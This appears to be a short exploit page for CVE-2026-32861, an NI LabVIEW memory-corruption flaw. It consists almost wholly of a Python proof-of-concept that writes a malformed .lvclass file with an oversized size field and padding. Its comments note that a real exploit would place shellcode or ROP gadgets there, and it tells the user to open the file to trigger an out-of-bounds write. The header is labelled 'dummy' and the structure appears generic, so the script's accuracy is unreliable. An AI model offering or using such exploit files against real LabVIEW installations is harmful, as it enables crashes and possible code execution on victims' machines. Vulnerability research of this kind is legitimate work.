CVE-2026-32861 NI LabVIEW内存损坏漏洞

import struct # PoC for CVE-2026-32861: NI LabVIEW LVCLASS Memory Corruption # This script generates a malformed .lvclass file to trigger an Out-of-Bounds Write. def generate_malformed_lvclass(filename): with open(filename, 'wb') as f: # Write dummy header to mimic a valid LVCLASS file structure f.write(b'LVCLASS') # Write a dummy version number f.write(struct.pack('<I', 0x00000010)) # Write a malicious size field # This large value is intended to bypass checks and cause an OOB write malicious_size = 0xFFFFFFFF f.write(struct.pack('<I', malicious_size)) # Write payload data (Padding) # In a real exploit scenario, this would contain shellcode or ROP gadgets payload = b'A' * 1000 f.write(payload) print(f"[+] Malformed file '{filename}' generated successfully.") print(f"[+] Open this file in NI LabVIEW to trigger the vulnerability.") if __name__ == "__main__": generate_malformed_lvclass("exploit_poc.lvclass")